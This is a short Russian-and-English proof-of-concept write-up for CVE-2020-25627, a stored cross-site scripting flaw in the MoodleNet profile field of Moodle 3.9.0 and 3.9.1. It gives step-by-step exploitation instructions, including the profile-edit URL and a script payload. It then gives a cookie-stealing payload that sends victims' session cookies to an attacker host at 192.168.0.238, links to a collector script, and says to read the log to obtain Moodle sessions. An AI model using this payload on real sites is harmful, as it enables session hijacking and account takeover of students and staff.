CVE-2020-25627

Хранимый XSS через параметр moodlenetprofile в профиле пользователя

Мое PoC по этой CVE

Требования к пользователю: Студент (или сайт для регистрации)

XSS в moodlenetprofile

Step 1: Log in with an authenticated user (Can register or through creating a new user without assigning roles )

Step 2: Quick access to Edit profile

domain/moodle/user/edit.php?id=<your user_id>&returnto=profile

In MoodleNet profile, add the script as:

<script>alert("HK")</script>

And save:

Step 3: Anytime, the other user goes to view your profile, the stored XSS will trigger.

Steal cookie via script:

<script>var i=new Image;i.src="http://192.168.0.238/xss.php?"+document.cookie;</script>

Change your domain and upload xss.php to your host:

https://github.com/HoangKien1020/pentest/tree/master/XSS

Done. You can view log.txt to get Moodle session.

Затронутые версии: 3.9.0 , 3.9.1

Источник

https://moodle.org/mod/forum/discuss.php?d=410839

Воздействие XSS (кража куки и т.д.), смотрите здесь:

https://github.com/HoangKien1020/pentest/tree/master/XSS